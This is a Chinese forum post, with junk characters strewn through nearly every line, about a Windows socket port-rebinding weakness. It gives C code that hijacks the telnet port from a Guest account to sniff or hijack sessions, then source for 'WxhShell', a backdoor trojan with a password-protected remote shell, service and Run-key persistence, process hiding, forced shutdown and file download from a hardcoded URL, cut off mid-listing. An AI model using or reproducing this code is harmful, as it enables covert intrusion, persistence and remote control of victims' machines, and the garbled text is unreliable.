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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: B91PlM.  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); \osQwGPV  
eu|q {p  
  saddr.sin_family = AF_INET; +&8Ud8Q  
:\;uJ5  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); ->9xw  
<%JO 3E  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); cQ ;Ry!$  
8t \>  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 A|OC?NZY  
[jn;| 3  
  这意味着什么?意味着可以进行如下的攻击: BiCa "  
,ST.pu8N.  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 M@@O50~  
oi4Wxcj  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) v23Uh2[@Yy  
0!\q  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 7Cp_ 41._  
^aWNtY' :  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  nL20}"$E  
(SVr>|Db  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 9+Hb`  
~*]`XL.-  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 myX0<j3G5  
>^HTghgRD  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 w:+#,,rwzV  
Bzt`9lg  
  #include QNwAuH T  
  #include r:rJv  
  #include fzG1<Gem  
  #include    ]H7Mx\  
  DWORD WINAPI ClientThread(LPVOID lpParam);   ZTC1t_  
  int main() 1Sk6[h'CL  
  { d+ko"F|  
  WORD wVersionRequested; [mvHa;-w  
  DWORD ret; Hxi=\2-  
  WSADATA wsaData; Y. tFqzo3  
  BOOL val; '+tT$k  
  SOCKADDR_IN saddr; PzkXrDlB7  
  SOCKADDR_IN scaddr; fsuvg jlE  
  int err; m6<0 hP  
  SOCKET s; ZU'^%)6~o~  
  SOCKET sc; fOervo  
  int caddsize; DN0b.*[`3  
  HANDLE mt; Sylsp%A  
  DWORD tid;   0J</`/gH  
  wVersionRequested = MAKEWORD( 2, 2 ); B;_3IHMO  
  err = WSAStartup( wVersionRequested, &wsaData ); $zi\ /Yw  
  if ( err != 0 ) { #;]F:TlR  
  printf("error!WSAStartup failed!\n"); 0 d]G  
  return -1; ^ w1R"qE"m  
  } a/#,Y<kJ  
  saddr.sin_family = AF_INET; UH|.@7w  
   BQg]$Tr?  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 }"k(kH  
M oHvXp;X  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); Ls*=mh~IY  
  saddr.sin_port = htons(23); >AFpO*q"  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) f`rz)C03  
  { U# B  
  printf("error!socket failed!\n"); X+@,vCC  
  return -1; ^`?> Huu<w  
  } 3vD,hL`&  
  val = TRUE; W RaO.3Q@.  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 ]zY'w,?D\F  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) ?\r3 _  
  { }`FPe   
  printf("error!setsockopt failed!\n"); ~-i?=  
  return -1; *4y r7~S5  
  } }dl(9H=4  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; RL9BB.  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 ^u,x~nPXg  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击  '|T=  
NZP,hAUK,  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) B[V=l<J  
  { Ij_`=w<  
  ret=GetLastError(); 3zHiu*2/!  
  printf("error!bind failed!\n"); fTgN2U  
  return -1; s'4p+eJ  
  } KIJ[ cIw  
  listen(s,2); CU_06A|}  
  while(1) (B#|3o  
  { mX_`rvYII  
  caddsize = sizeof(scaddr); jXZNr  
  //接受连接请求 |pY0IqO  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); RoRVu,1  
  if(sc!=INVALID_SOCKET) rd{( E  
  { SbivW5|61  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); X_l,fu^C#$  
  if(mt==NULL) )v0vdAh'b  
  { jp`N%O]6  
  printf("Thread Creat Failed!\n"); `_)dEu  
  break; ;Vt u8f  
  } q(W@=-uDK  
  } +Z*%,m=N(  
  CloseHandle(mt); I),8EEf\  
  } %}:J 9vra  
  closesocket(s); +dv@N3GV  
  WSACleanup(); {%Sw w:  
  return 0; ? |dz"=y  
  }   h6t>yC\  
  DWORD WINAPI ClientThread(LPVOID lpParam) }Jfo(j  
  { ?#m5$CFp  
  SOCKET ss = (SOCKET)lpParam; .YRSd  
  SOCKET sc; (6{ VMQ  
  unsigned char buf[4096]; jFfki.H  
  SOCKADDR_IN saddr; wQc  w#  
  long num; y[rLk  
  DWORD val; 8>9+w/DL  
  DWORD ret; u'p J 9>sC  
  //如果是隐藏端口应用的话,可以在此处加一些判断 X;NTz75  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   %Z4=3?5B"9  
  saddr.sin_family = AF_INET; V^i3:'  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); #v-!GK_<  
  saddr.sin_port = htons(23); ./'n2$^3  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) !TF VBK  
  { IpxjP\  
  printf("error!socket failed!\n"); kZNZ?A<D  
  return -1; b&1@rE-  
  } r "R\  
  val = 100; D~:fn|/Brp  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) s-B\8&^C  
  { X c^~|%+  
  ret = GetLastError(); 8h97~$7)  
  return -1; 4Q5v8k=  
  } G w[&P%  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) U9w*x/S wb  
  { |sh  U  
  ret = GetLastError(); 3[rB:cE/  
  return -1; xo$ZPnf(zv  
  } "K<VZ  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) hj4Rr(T  
  { j^.P=;  
  printf("error!socket connect failed!\n"); %`'VXR?`h=  
  closesocket(sc); RAC-;~$WB  
  closesocket(ss); j*{bM{~T<  
  return -1; cx|j _5%i  
  } l ;uEw  
  while(1) d9(FwmE  
  { =j0V/=  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 [>;O'>  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 A?/?9Gr  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 rxARJ so  
  num = recv(ss,buf,4096,0); 2wd(0K}b  
  if(num>0) $c-3Q|C  
  send(sc,buf,num,0); ; F=_ozWV*  
  else if(num==0) d\v _!7  
  break; Tx5L   
  num = recv(sc,buf,4096,0); ect?9S[!y  
  if(num>0) ,#G@ri:B  
  send(ss,buf,num,0); pK4)>q  
  else if(num==0) _OY;SJ(  
  break; 5IMH G%W7  
  } E !8y|_(j  
  closesocket(ss); Ogb_WO;)  
  closesocket(sc); 9O"?T7i"#  
  return 0 ; A SSoKrFL  
  } C N"c  
~&x%;cnv_  
P(`IY +  
========================================================== r2G<::<zL  
Ij+zR>P8=\  
下边附上一个代码,,WXhSHELL Fv9Z'#t  
'Khq!pC   
========================================================== 9\8""-  
fh~&&f}6  
#include "stdafx.h" Nd6z81  
)~`zjVx_  
#include <stdio.h> jnTl%aQYc  
#include <string.h> NQAnvX;  
#include <windows.h> f As:[  
#include <winsock2.h> ^{w&&+#,q  
#include <winsvc.h> bbJa,}R  
#include <urlmon.h> (; "ICk&  
",}VB8K  
#pragma comment (lib, "Ws2_32.lib") A-W7!0  
#pragma comment (lib, "urlmon.lib") +3C S3fTq  
JG[+e*8  
#define MAX_USER   100 // 最大客户端连接数 3{ci]h`:y8  
#define BUF_SOCK   200 // sock buffer G 1$l%B  
#define KEY_BUFF   255 // 输入 buffer g_=Q=y@,  
R/#*~tPi8  
#define REBOOT     0   // 重启 MWl@smRh  
#define SHUTDOWN   1   // 关机 tT7$2 9  
073(xAkL{  
#define DEF_PORT   5000 // 监听端口 x\jHk}Buj  
8^{BuUA  
#define REG_LEN     16   // 注册表键长度 7v-C-u[E`  
#define SVC_LEN     80   // NT服务名长度 Lg^m?~{  
9hv\%_>o  
// 从dll定义API ty78)XI  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); c:0$ M w=  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); =8iM,Vl3  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); !rWib` %  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); s+[=nau('w  
{t 7 M  
// wxhshell配置信息 O!g> f  
struct WSCFG { cZu:dwE  
  int ws_port;         // 监听端口 <fw[7=_)^  
  char ws_passstr[REG_LEN]; // 口令 ql#K72s  
  int ws_autoins;       // 安装标记, 1=yes 0=no "\9@gfsp)  
  char ws_regname[REG_LEN]; // 注册表键名 mK4a5H  
  char ws_svcname[REG_LEN]; // 服务名 |0&S>%=  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 te|VKYN%}[  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 e9 NHbq  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 `drvu?F  
int ws_downexe;       // 下载执行标记, 1=yes 0=no vmoqsdZ/  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" "%Jx,L\f{  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 %S^`/Snv"  
oqj3Q 1  
}; C?B7xK  
IOA{l N6  
// default Wxhshell configuration ri:fo'4TO  
struct WSCFG wscfg={DEF_PORT, GB+G1w  
    "xuhuanlingzhe", ~ e"^-x  
    1, NlKnMgt~  
    "Wxhshell", yR`-rJb V  
    "Wxhshell", (~P&$$qfD  
            "WxhShell Service", WDZEnauE  
    "Wrsky Windows CmdShell Service", r=9*2X#  
    "Please Input Your Password: ", )S%mKdOm $  
  1, t`LH\]6@  
  "http://www.wrsky.com/wxhshell.exe", u7/M>YJ`T  
  "Wxhshell.exe" {[$p}#7Y  
    }; !B\\:k]aO^  
J ^v_VZ3  
// 消息定义模块 ?832#a?FZ;  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; pS%Az)3RZ  
char *msg_ws_prompt="\n\r? for help\n\r#>"; {*|yU"  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; mz#(\p=T  
char *msg_ws_ext="\n\rExit."; qg>i8V  
char *msg_ws_end="\n\rQuit."; +?c&Gazi  
char *msg_ws_boot="\n\rReboot..."; 9orza<#  
char *msg_ws_poff="\n\rShutdown..."; EGs z{c[8@  
char *msg_ws_down="\n\rSave to "; JK1b 68n  
 E5o0^^  
char *msg_ws_err="\n\rErr!"; tHGK<rb  
char *msg_ws_ok="\n\rOK!"; 89L -k%R  
mU3UQ j  
char ExeFile[MAX_PATH]; ^|8cS0dK]Q  
int nUser = 0; $)'{+1  
HANDLE handles[MAX_USER]; BjB2YO& /  
int OsIsNt; N+r~\[N\9  
HloP NE&}  
SERVICE_STATUS       serviceStatus; )N}xKw|  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; P017y&X  
Me8d o; G|  
// 函数声明 r}vr E ^Q  
int Install(void); %TLAn[LW(  
int Uninstall(void); wo*/{KFvh  
int DownloadFile(char *sURL, SOCKET wsh); .$q]<MK8  
int Boot(int flag); ]$z~;\T  
void HideProc(void); { }>"f]3  
int GetOsVer(void); _]<]:b  
int Wxhshell(SOCKET wsl); *fjarZu  
void TalkWithClient(void *cs); EqOB 0\  
int CmdShell(SOCKET sock); < *XC`Ii  
int StartFromService(void); >`6^1j(3  
int StartWxhshell(LPSTR lpCmdLine); B aXzz  
x.d9mjLN8m  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); N%^mR>.`  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); H\O|Y@uVr  
V,>#!zUv  
// 数据结构和表定义 w("jyvV[C  
SERVICE_TABLE_ENTRY DispatchTable[] = #|'8O  
{ (V |P6C  
{wscfg.ws_svcname, NTServiceMain}, p,xM7V"O)  
{NULL, NULL} _/KW5  
}; vK6bpzI 3  
OnG!5b  
// 自我安装 ag] nVE/  
int Install(void) 1Og9VG1^  
{ 6R?J.&|  
  char svExeFile[MAX_PATH]; SBYRN##n_  
  HKEY key; /R^!~J50  
  strcpy(svExeFile,ExeFile); s$RymM  
6jKM,%l  
// 如果是win9x系统,修改注册表设为自启动 3Hq0\Y"Y  
if(!OsIsNt) { n:7=z0 s  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Uz1u6BF  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 1Ce:<.99B  
  RegCloseKey(key); i~\gEMaO  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { M>0~Ek%3  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); S46[2-v1  
  RegCloseKey(key); @w2}WX>  
  return 0; hzPpw.  
    } FCI38?`%  
  } \ 0:ITz  
} AjZT- Q0L  
else { IPJs$PtKok  
0V1kZ.  
// 如果是NT以上系统,安装为系统服务 o]jo R3  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); ~L?p/3m   
if (schSCManager!=0) t[3Upe%  
{ 8^M5u>=t;  
  SC_HANDLE schService = CreateService ?p$WqVN}  
  ( \Ud2]^D=  
  schSCManager, F.O2;M|x  
  wscfg.ws_svcname, 8fdOV&&D~i  
  wscfg.ws_svcdisp, 2Y$==j  
  SERVICE_ALL_ACCESS, :S,#*rPKBK  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , 0`OqD d  
  SERVICE_AUTO_START, Qy15TJ  
  SERVICE_ERROR_NORMAL, -"(e*&TJ#  
  svExeFile, rPQ$e!m1Ee  
  NULL, b5yb~;0  
  NULL, );=JoRQ{  
  NULL, }p&aI?-B  
  NULL, |4dNi1{Zd  
  NULL 9WBDSx_(Q  
  ); |z5olu$gVc  
  if (schService!=0) VM-J^  
  { u} KiSZxt  
  CloseServiceHandle(schService); I</Nmgf  
  CloseServiceHandle(schSCManager); ECl[v%R/6  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); R4{}ZT  
  strcat(svExeFile,wscfg.ws_svcname); 1a%*X UT  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { fV[xv4D.  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); ` 3<#DZ;!  
  RegCloseKey(key); &9^c-;Vs  
  return 0; A~h8 >zz*  
    }  f0:)  
  } #+r-$N.7  
  CloseServiceHandle(schSCManager); GhQ.}@*  
} k 9s3@S  
} Xst&QKU  
4CNK ]2  
return 1; .p0;y3so4  
} Ws(BouJ  
iPE-j#|  
// 自我卸载 0k3^+#J  
int Uninstall(void) +y-:(aP  
{ :<nL9y jt  
  HKEY key; bv|v9_i  
CVu'uyy  
if(!OsIsNt) { @ '<lD*W  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { =. OW sFv  
  RegDeleteValue(key,wscfg.ws_regname); vR:t4EJ`  
  RegCloseKey(key); M"~B_t,Nw  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { &0Nd9%>  
  RegDeleteValue(key,wscfg.ws_regname); /@on=~  
  RegCloseKey(key); ZVda0lex&  
  return 0; 6`EyzB%.$  
  } 6~D:O?2  
} C10A$=!  
} \7W {/v4^  
else { mB_ba1r  
W;j*lII  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); Rk`c'WP0*  
if (schSCManager!=0) GfVMj7{  
{ {K:/(\  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); |"l g4S%  
  if (schService!=0) 3):7mE(  
  { I8?egDkk  
  if(DeleteService(schService)!=0) { 6:QJ@j\  
  CloseServiceHandle(schService); r\L:JTZ$  
  CloseServiceHandle(schSCManager); 0z\=uQ0  
  return 0; bx`(d@  
  } 40+E#z)  
  CloseServiceHandle(schService); 48w3gye  
  } m@"!=CTKd  
  CloseServiceHandle(schSCManager); 1eK J46W  
} \QYs(nm?k  
} X/'B*y'=U  
LgB}!OLQ  
return 1; q-p4k`]  
} yp!Xwq#n  
?p\'S w:  
// 从指定url下载文件 NW^}u~-f  
int DownloadFile(char *sURL, SOCKET wsh) ;Q-sie(#  
{ d6~wJMFl  
  HRESULT hr; hZ$* sf  
char seps[]= "/"; l *pCG`@J#  
char *token; US4X CJxB  
char *file; oSE'-8(  
char myURL[MAX_PATH]; @p}H@#/u\  
char myFILE[MAX_PATH]; 92eS*x2@  
A:k`Ykr[  
strcpy(myURL,sURL);  #]n[  
  token=strtok(myURL,seps); TS@EE&Wq  
  while(token!=NULL) NcqE)"yObo  
  { c a$D|3  
    file=token; R?^FO:nM%!  
  token=strtok(NULL,seps); -cJ(iz9!  
  } iSHNt0Nl  
2{ }5WH  
GetCurrentDirectory(MAX_PATH,myFILE); :Im_=S[0  
strcat(myFILE, "\\"); Pq;1EI  
strcat(myFILE, file); SyTcp?H  
  send(wsh,myFILE,strlen(myFILE),0); r+\it&cW+  
send(wsh,"...",3,0); /V:%}Z  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); KvC:(Vqj  
  if(hr==S_OK) %!LrC!6P4  
return 0; ]uj H7T  
else 4AUY8Pxp  
return 1; FL0[V,  
*}3~8fu{  
} us$~6  
)FE'#\  
// 系统电源模块 <@e6zQG  
int Boot(int flag) 0^tF_."Y  
{ YjLPW@  
  HANDLE hToken; ^> ZQ:xs@(  
  TOKEN_PRIVILEGES tkp; qo4AQ}0 <  
: 8(~{<R  
  if(OsIsNt) { o"TEmZUP  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); U{{RRK|  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); J:p nmZ`X  
    tkp.PrivilegeCount = 1; >P+V!-%#  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; x7t"@Gz  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 2VMau.eQ  
if(flag==REBOOT) { hF!yp7l;  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) p8o%H-Xk  
  return 0; }?8KFe7U  
} R3%T}^;f  
else { ,O $F`0>9A  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) m[]p IXc(  
  return 0; d.2   
} Xs*~ [k'  
  } Mx0c # d.  
  else { T3wR0,  
if(flag==REBOOT) { ,tmo6D62  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) <)y'Ot0 y  
  return 0; z{;W$SO 2  
} O:pQf/Xn  
else { nvgo6*  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) In:h%4>  
  return 0; $kkdB,y  
} F1gDeLmJ  
} $Iv*?S"2  
j@2-^q:`  
return 1; ukvz#hdE  
} j^986  
g)xzy^2e  
// win9x进程隐藏模块 Y==# yNwM  
void HideProc(void) SAly~(r?/  
{ g oWD~'\  
hq(3%- 7&  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); HwM:bY N  
  if ( hKernel != NULL ) "yL&?B"9@  
  { L.ndLd  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); />.&  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); 9]7+fu  
    FreeLibrary(hKernel); g 9>p?XY  
  } SJIJV6}H  
=@w};e#D  
return; ~F uD6f  
}  YVD%GJ  
C'*1w  
// 获取操作系统版本 ely&'y!  
int GetOsVer(void) K xh)'aal  
{ tJ2l_M^  
  OSVERSIONINFO winfo; F''4j8  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); r(J7&vR}h  
  GetVersionEx(&winfo); S#2 'Jw  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) $5%tGFh  
  return 1; Y2<Z"D`  
  else (J$JIPF  
  return 0; u&2uQ-T0  
} Hagj^8  
- uliND  
// 客户端句柄模块 ;( VJZ_  
int Wxhshell(SOCKET wsl) j%~UU0(J  
{ h#;fBQ]   
  SOCKET wsh; O_(J',++  
  struct sockaddr_in client; {lx^57v  
  DWORD myID; Vk{0)W7  
O#cXvv]Z*  
  while(nUser<MAX_USER) |p.mA-81  
{ cg$7`/U  
  int nSize=sizeof(client); VEE:Z^U!  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); *Fp )/Ih  
  if(wsh==INVALID_SOCKET) return 1; pz.<5  
j31 Sc3vG  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); e,:@c3I  
if(handles[nUser]==0) {#Mz4s`M  
  closesocket(wsh); 5x4(5c5^  
else 8%vk"h:u:  
  nUser++; JF24~Q4P  
  } GMB%A  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); CQ#p2  
7}TjOWC  
  return 0; EQu M|4$ix  
} Z78&IbR  
!{r Gt`y  
// 关闭 socket B5J=q("P  
void CloseIt(SOCKET wsh) 8~}Ti*Urc  
{ \T<?=A  
closesocket(wsh); Wa ,[#H  
nUser--; _2U1$0xK  
ExitThread(0); !oM 1  
} }3M\&}=8  
&d9";V"E  
// 客户端请求句柄 F0Rk[GM  
void TalkWithClient(void *cs) WElB,a-RCp  
{ vIz~B2%x  
[A[vR7&S  
  SOCKET wsh=(SOCKET)cs; nJA\P1@m  
  char pwd[SVC_LEN]; U2@?!B[\d`  
  char cmd[KEY_BUFF]; z`f1|Ok  
char chr[1]; txTDuS  
int i,j; *<s|WLMG  
Q 4_j`q  
  while (nUser < MAX_USER) { g%[lUxL  
E]_sl/`{od  
if(wscfg.ws_passstr) {  5Lm ?  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); >|uZIcs 6  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); m|=/|Hm  
  //ZeroMemory(pwd,KEY_BUFF); Bam7^g'*!3  
      i=0; hbxG  
  while(i<SVC_LEN) { U*[/F)!  
kAf2g  
  // 设置超时 )6IO)P/Q~  
  fd_set FdRead; }$81FSKh  
  struct timeval TimeOut; )P\ec  
  FD_ZERO(&FdRead); GP`_R  
  FD_SET(wsh,&FdRead); q3 1swP  
  TimeOut.tv_sec=8; .* V ZY  
  TimeOut.tv_usec=0; .P-@ !Q5*  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); b s:E`Q  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); "aAzG+NM  
CbI[K|  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); z1(rHJd  
  pwd=chr[0]; zcP_-q]1  
  if(chr[0]==0xd || chr[0]==0xa) { lE$X9yIt  
  pwd=0; 60^dzi!vs  
  break; F7cv`i?2."  
  } / u>")f  
  i++; om;jXf}A  
    } dJ:EXVU  
9M<qk si  
  // 如果是非法用户,关闭 socket |;Jcf3e(  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); Rf2;O<  
} 'd0]`2tVg4  
u= !?<Q  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); ] 6M- s  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); |BF4 F5wC?  
D{ @x  
while(1) { NR^z!+oSR  
T+N%KRl  
  ZeroMemory(cmd,KEY_BUFF); V 7%rKK  
w*\)]bTs  
      // 自动支持客户端 telnet标准   V= !!;KR0  
  j=0; | u7vY/  
  while(j<KEY_BUFF) { `NyvJt^<  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Lc0^I<Y  
  cmd[j]=chr[0]; "P"~/<:)  
  if(chr[0]==0xa || chr[0]==0xd) { ?_}[@x  
  cmd[j]=0; MXSPD# gN  
  break; gKn"e|A  
  } 9.D'!  
  j++; &37QUdp+p  
    } }_:^&cT  
IGOqV>;  
  // 下载文件 %j{gZTz-  
  if(strstr(cmd,"http://")) { Rco#?'  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); ;~#rd L  
  if(DownloadFile(cmd,wsh)) jrZM  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); IbF[nQ  
  else `=vL?w^QS  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); [|Jz s[  
  } )TBBYCL3  
  else { O: :X$O7  
e>z3 \4  
    switch(cmd[0]) { pDrM8)r  
  ORyFE:p$  
  // 帮助 8;-a_VjA)  
  case '?': { &0*j nb  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); x.xfMM2n  
    break; D CcM~  
  } '8}*erAg  
  // 安装 ja#E}`wC4  
  case 'i': { W;eHDQ|  
    if(Install()) W`C2zbC  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); s+h`,gg9  
    else BC 9rsb  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); <Gr{h>b  
    break; ZlUd^6|:3  
    } A"2k,{d  
  // 卸载 OB>Pk_eQK  
  case 'r': { gj0gs  
    if(Uninstall()) NYm2fFPc  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); q1.w8$  
    else y4w{8;Mh  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); t+|c)"\5h  
    break; .FtW $Y~y  
    } /RIvUC1  
  // 显示 wxhshell 所在路径 cAC]%~orx  
  case 'p': { Z)~.OqRw]  
    char svExeFile[MAX_PATH]; aP>%iRk'J!  
    strcpy(svExeFile,"\n\r"); )lTkqz8v  
      strcat(svExeFile,ExeFile); :1PT`:Y  
        send(wsh,svExeFile,strlen(svExeFile),0); 1I<D `H%  
    break; D[-V1K&g  
    } ^} %Oq P  
  // 重启 b$l@Z&[]  
  case 'b': { +DY% Y `0  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); W}50E.\#  
    if(Boot(REBOOT)) FrIguk1  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 2$V]XSe  
    else { ^dJ/>?1  
    closesocket(wsh); K|[[A)tt6  
    ExitThread(0); *&Np;^~  
    } U^-:qT;CX  
    break; BlF>TI%2  
    } N2 wBH+3w  
  // 关机 "M3R}<Vt  
  case 'd': { uosFpa  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); $8kc1Q  
    if(Boot(SHUTDOWN)) G&I\Za;   
